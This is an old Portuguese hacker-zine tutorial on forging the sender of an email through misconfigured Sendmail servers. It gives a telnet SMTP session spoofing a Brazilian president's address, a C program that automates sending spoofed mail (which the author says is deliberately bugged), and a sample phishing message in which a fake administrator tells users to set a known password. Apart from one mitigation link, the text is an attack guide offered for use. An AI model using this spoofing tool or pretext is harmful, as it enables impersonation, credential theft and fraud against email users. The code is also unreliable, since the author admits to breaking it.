*** ENVIO SIMPLES DE E-MAIL FALSO *** By Martin Fallon. mar_fallon@yahoo.com.br Quando o Marco Nunez foi preso, muitos especularam se ele havia realmente enviado um e-mail falso e como.Existem diversos metodos para se enviar um e-mail com endereco do remetente forjado, ou como conhecemos vulgarmente, um fake mail! Neste breve artigo eu irei expor um metodo simples e que requer algumas configuracoes "bugadas"(entre aspas) no servidor alvo, para que se possa enviar um fake mail usando o seu proprio Servidor SMTP, no caso, o poderoso MTA Bugmail(Sendmail). Enviar um fakemail via servidores sendmail mal configurados eh algo bem trivial.E nos podemos ver como se faz isso, seguindo os passos abaixo, onde eu enviarei um e-mail ao usuario "root" como se fosse o senhor, excelentissimo presidente da republica fhc@planalto.gov.br; Primeiramente, nos iremos dar um telnet para a porta 25 do servidor alvo, e toda a negociacao serah feita via /bin/telnet. darkstar:/# telnet alvo 25 Trying XXX.XXX.XXX.X... Connected to X. Escape character is '^]'. 220 XXX ESMTP Sendmail 8.9.3/8.9.3; Sun, 31 Dec 2000 22:26:22 -0300 helo localhost.localhost 250 XXX Hello localhost [127.0.0.1], pleased to meet you mail from: fhc@senado.gov.br 250 fhc@senado.gov.br... Sender ok rcpt to: root@localhost 250 root@localhost... Recipient ok data 354 Enter mail, end with "." on a line by itself teste fake . 250 WAA00163 Message accepted for delivery quit 221 darkstar closing connection Connection closed by foreign host. Como voces podem ver na demonstracao acima, eh bem simples forjar e enviar um e-mail forjado.Basicamente seguimos os seguintes passos: 1 - HELO servidor 2 - MAIL FROM: 3 - RCPT TO: 4 - DATA para digitarmos nossa mensagem. 5 - E . (ponto final numa unica linha) para indicarmos que terminamos a mensagem. Como podemos ver, isto eh mesmo bem simples.E ficarah mais simples, aos irmaos NewBies que conhecem um pouco do hacking, com o programa abaixo: ------------------------------------------------------------------------- /* PROGRAMA AUTOMATIZADOR DE ENVIO DE * E-MAILS COM ENDERECO DE ORIGEM FORJADO. * FEITO POR MARTIN FALLON EM 31.12.2000. * mar_fallon@yahoo.com.br * OBS: Existe um pequeno erro no codigo * para coibir acao de script kiddies. */ #include #include #include #include #include #include #include #define ERROR -1 #define PORT 25 int Mensagem(int Socket); int main(int argc, char *argv[]){ char Recv[1024], Send[1024]; int Socket, R; struct hostent *host; struct sockaddr_in alvo; if(argc < 4){ printf("Faker - Envia Mails Forjados!\n\n"); printf("Uso: %s [host_alvo] [usuario_alvo] [rementente_forjado]\n\n",argv[0]); printf("Unsek Scene Rocks - http://unsekurity.virtualave.net/\n"); exit(ERROR); } host = gethostbyname(argv[1]); if(host == NULL){ fprintf(stderr,"Host Desconhecido!\n"); exit(ERROR); } alvo.sin_family = host->h_addrtype; alvo.sin_port = htons(PORT); alvo.sin_addr = *((struct in_addr *)host->h_addr); bzero(&(alvo.sin_zero), 8); Socket = socket(AF_INET, SOCK_STREAM,0); if(Socket < 0){ perror("Socket"); exit(ERROR); } if(connect(Socket,(struct sockaddr * )&alvo, sizeof(alvo)) < 0){ fprintf(stderr,"Erro em connect()!!\n"); close(Socket); exit(ERROR); } bzero(Send, sizeof(Send)); bzero(Recv, sizeof(Recv)); snprintf(Send,1023,"HELO localhost.%s\n",argv[1]); write(Socket,Send,strlen(Send)); if ((R = read(Socket, Recv, sizeof(Recv))) < 0){ fprintf(stderr,"Sem Resposta!"); close(Socket); exit(ERROR); } if(!strstr(Recv,"ok")){ printf("1o. Passo Dado - Helo respondeu com OK!:)\n"); } else{ fprintf(stderr,"Problemas com HELO!\n"); close(Socket); exit(ERROR); } bzero(Send, sizeof(Send)); bzero(Recv, sizeof(Recv)); snprintf(Send,1023,"MAIL FROM: %s\n",argv[3]); write(Socket,Send,strlen(Send)); if ((R = read(Socket, Recv, sizeof(Recv))) < 0){ fprintf(stderr,"Sem Resposta para MAIL FROM!\n"); close(Socket); exit(ERROR); } if(!strstr(Recv,"ok")){ printf("2o. Passo Dado - Mail From respondeu com OK!:)\n"); } else{ fprintf(stderr,"Problemas com Mail From!\n"); close(Socket); exit(ERROR); } bzero(Send, sizeof(Send)); bzero(Recv, sizeof(Recv)); snprintf(Send,1023,"rcpt to: %s\n",argv[2]); write(Socket,Send,strlen(Send)); if ((R = read(Socket, Recv, sizeof(Recv))) < 0){ fprintf(stderr,"Sem Resposta para Rcpt to!\n"); close(Socket); exit(ERROR); } if(!strstr(Recv,"Recipient ok")){ printf("3o. Passo Dado - Rcpt To respondeu com OK!:)\n"); } else { fprintf(stderr,"Problemas com RCPT TO!\n"); close(Socket); exit(ERROR); } bzero(Send, sizeof(Send)); bzero(Recv, sizeof(Recv)); Mensagem(Socket); return 0; } /* Funcao Responsavel Pelo Envio Interativo da Mensagem */ #define max(x,y) ((x)>(y)?(x):(y)) int Mensagem(int Socket){ char envia[4056], recebe[1024], buffer[4056]; fd_set rset; int R, maxfd; sleep(1); bzero(envia, sizeof(envia)); bzero(recebe, sizeof(recebe)); printf("Digite sua Mensagem\n"); strcpy(envia,"DATA\n"); write(Socket, envia, strlen(envia)); if ((R = read(Socket, recebe, sizeof(recebe))) < 0){ fprintf(stderr,"Problemas com DATA!\n"); close(Socket); exit(ERROR); } if(!strstr(recebe,"Enter mail")){ bzero(envia, sizeof(envia)); bzero(recebe, sizeof(recebe)); for (;;){ FD_SET(fileno(stdin), &rset); FD_SET(Socket, &rset); maxfd = max(fileno(stdin), Socket) + 1; select(maxfd, &rset, NULL, NULL, NULL); if (FD_ISSET(fileno(stdin), &rset)) { bzero(envia, sizeof(envia)); while(!strstr(envia,"FIM")){ fgets(buffer, sizeof(envia) - 2, stdin); strcat(envia,buffer);} strcat(envia,"\n.\n"); write(Socket, envia, strlen(envia)); } if (FD_ISSET(Socket, &rset)) { bzero(recebe, sizeof(recebe)); if ((R = read(Socket, recebe, sizeof(recebe))) == 0){ printf("ok!\n"); } } else { return (ERROR); } } } bzero(envia, sizeof(envia)); bzero(recebe, sizeof(recebe)); strcpy(envia,"QUIT"); write(Socket, envia, strlen(envia)); if ((R = read(Socket, recebe, sizeof(recebe))) < 0){ fprintf(stderr,"Erro na Desconexao - Taca um Ctrl + C!\n"); close(Socket); exit(ERROR); } printf("Fakemail Enviado com Sucesso!!\n"); return 0; } ------------------------------------------------------------------------ O codigo acima automatiza os esquemas descritos, eh apenas um codigo inutil, jah que voce conhece a teoria e a pratica!:) O que podemos fazer de util com esta tecnica? Se existe um host alvo com a porta 25 nessas condicoes.E voce nao conseguiu exploitar o mesmo via as outras tecnicas, voce pode se passar pelo administrador de sistema e induzir um usuario a praticar uma acao. Enviando um e-mail com endereco forjado, podemos facilmente enganar um usuario da rede, vejamos o exemplo abaixo: Prezado usuario, venho atraves deste e-mail solicitar ao senhor que altere sua senha para AxDeFgH e que a mesma permaneca assim durante duas semanas.O motivo desta solicitacao, eh que a conta do senhor tem sido constantemente atacada, e por este motivo se faz necessario que o senhor sete esta senha para que o nosso sistema possa bloquear os ataques! Atenciosamente, Fulano de Tal Administrador da REDEALVO Como o e-mail acima vai parecer ter sido enviado pelo proprio administrador, dificilmente o usuario nao mudaria as configuracoes solicitadas! Esta eh mais uma simples tecnica fucadora conhecida em larga escala, mas que ainda tem milhares de servidores vulneraveis! No link abaixo, pode-se obter maiores informacoes de como diminuir este problema: http://www.orbs.org/ Um []. Martin Fallon. =============================== | http://www.unlockcrew.rg3.net | =============================== =/=/=/=/=/= >>> EOF <<< =\=\=\=\=\=